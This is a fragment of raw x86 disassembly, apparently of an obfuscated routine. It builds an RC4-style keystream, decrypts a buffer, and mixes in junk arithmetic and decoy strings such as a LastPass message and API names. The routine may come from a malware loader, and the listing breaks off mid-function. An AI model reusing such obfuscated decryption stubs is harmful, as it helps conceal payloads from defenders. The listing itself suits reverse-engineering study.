cmp eax, 0x1ce
je 0x1000dbd4
cmp byte [eax + str.Trying_to_kill_other_lastpass.exe_instance._from_s], 0
jne 0x1000dbc1
jmp 0x1000dbf2
push edx
mov edx, dword [0x100249f0]
mov ecx, str.SymSetOptions
call fcn.1000b8a0
mov edx, dword [0x10024e14]
pop ecx
xor edx, 0x2c370928
sub edx, 0x59f5102c
mov dword [0x10024e14], edx
and edx, 0xbb7d1fb7
mov dword [0x100249f0], edx
call fcn.1000b5ec
xor ecx, ecx
mov edi, ecx
mov eax, ecx
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000dc15
mov esi, ecx
xor edx, edx
mov cl, byte [ebp + esi - 0x174]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x48]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1a0]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x174]
mov byte [ebp + esi - 0x174], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x174], al
cmp esi, 0x100
jb 0x1000dc26
xor eax, eax
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x10]
push 0xf
mov cl, byte [ebp + edi - 0x174]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x174]
mov byte [ebp + edi - 0x174], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x174], cl
movzx eax, byte [ebp + edi - 0x174]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x174]
xor al, byte [ebp + esi - 0x38]
mov byte [ebp + esi - 0x40c], al
inc esi
pop eax
cmp esi, eax
jb 0x1000dc73
push 6
pop ecx
mov esi, str.GHIJKLMNOPQRS3UVWXYZ___
mov word [ebp - 0xc], 0x73f9
lea edi, [ebp - 0x1a4]
mov byte [ebp - 0xa], 0xeb
rep movsd dword es:[edi], dword [esi]
xor edx, edx
mov byte [ebp - 0x3fd], dl
mov dword [ebp - 0x18], edx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [0x100249f0]
mov eax, edi
xor eax, 0x7ffeec67
mov dword [0x10024e14], eax
mov eax, edx
lea esi, [edi + 0x39042688]
mov dword [0x10024c08], esi
mov byte [ebp + eax - 0x174], al
inc eax
cmp eax, 0x100
jb 0x1000dd15
mov dword [ebp - 0x10], edx
mov cl, byte [ebp + edx - 0x174]
mov eax, edx
xor edx, edx
mov byte [ebp - 1], cl
div dword [ebp - 8]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1a4]
mov edx, 0xb3c
add eax, dword [ebp - 0x18]
add ecx, eax
movzx eax, cl
mov ecx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
mov dword [ebp - 0x18], eax
movzx eax, byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s]
jmp 0x1000dd6f
add edx, eax
inc ecx
cmp edx, 0xb19
ja 0x1000dd75
movzx eax, byte [ecx]
test eax, eax
jne 0x1000dd61
jmp 0x1000dd86
call fcn.1000b137
mov edi, dword [0x100249f0]
mov esi, dword [0x10024c08]
add esi, 0x4385484
mov dword [0x10024c08], esi
mov ecx, edi
xor eax, eax
or ecx, 0xc4b9ac39
mov dword [0x10024e14], ecx
cmp byte [str.Trying_to_kill_other_lastpass.exe_instance._from_s], al
je 0x1000ddf1
inc eax
cmp eax, 0x1626
je 0x1000dde5
cmp byte [eax + str.Trying_to_kill_other_lastpass.exe_instance._from_s], 0
jne 0x1000ddaa
cmp eax, 0x164a
jle 0x1000ddf1
mov eax, str.SymSetOptions
mov ecx, str.Trying_to_kill_other_lastpass.exe_instance._from_s
push eax
push ecx
mov edx, eax
call fcn.1000a58e
pop ecx
pop ecx
mov ecx, dword [0x10024e14]
imul esi, ecx, 0xb464bb38
jmp 0x1000ddf7
imul ecx, edi, 0x39eb5328
mov dword [0x10024e14], ecx
lea esi, [ecx + 0x449523b8]
mov edx, dword [ebp - 0x18]
imul edi, esi, 0xebfc6110
mov dword [0x10024c08], esi
mov al, byte [ebp + edx - 0x174]
mov edx, dword [ebp - 0x10]
mov dword [0x100249f0], edi
mov byte [ebp + edx - 0x174], al
mov eax, dword [ebp - 0x18]
mov dl, byte [ebp - 1]
mov byte [ebp + eax - 0x174], dl
mov edx, dword [ebp - 0x10]
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x100
jb 0x1000dd27
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, eax
mov dword [ebp - 0x50], eax
lea eax, [edx + 1]
mov edx, str.SymSetOptions
movzx edi, al
mov dword [ebp - 0x20], edi
mov al, byte [ebp + edi - 0x174]
mov byte [ebp - 1], al
movzx eax, al
add eax, dword [ebp - 0x10]
movzx eax, al
mov dword [ebp - 0x10], eax
xor eax, eax
inc eax
lea edx, [edx + 2]
cmp eax, 0x2250
jg 0x1000de97
xor edi, edi
cmp word [edx], di
mov edi, dword [ebp - 0x20]
jne 0x1000de6d
cmp eax, 0x4ba
jg 0x1000deb4
call fcn.1000a244
mov esi, dword [0x10024c08]
mov ecx, dword [0x10024e14]
or esi, 0x2a015271
mov dword [0x10024c08], esi
or ecx, 0x3debfb5b
mov dword [0x100249f0], ecx
mov ecx, dword [ebp - 0x10]
add esi, 0x1e672120
mov dword [0x10024e14], esi
mov edx, 0x1597
mov al, byte [ebp + ecx - 0x174]
mov byte [ebp + edi - 0x174], al
mov edi, str.GdipIsVisibleRegionRect
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x174], al
mov ecx, edi
movzx eax, byte [str.GdipIsVisibleRegionRect]
jmp 0x1000df0a
test eax, eax
jne 0x1000defc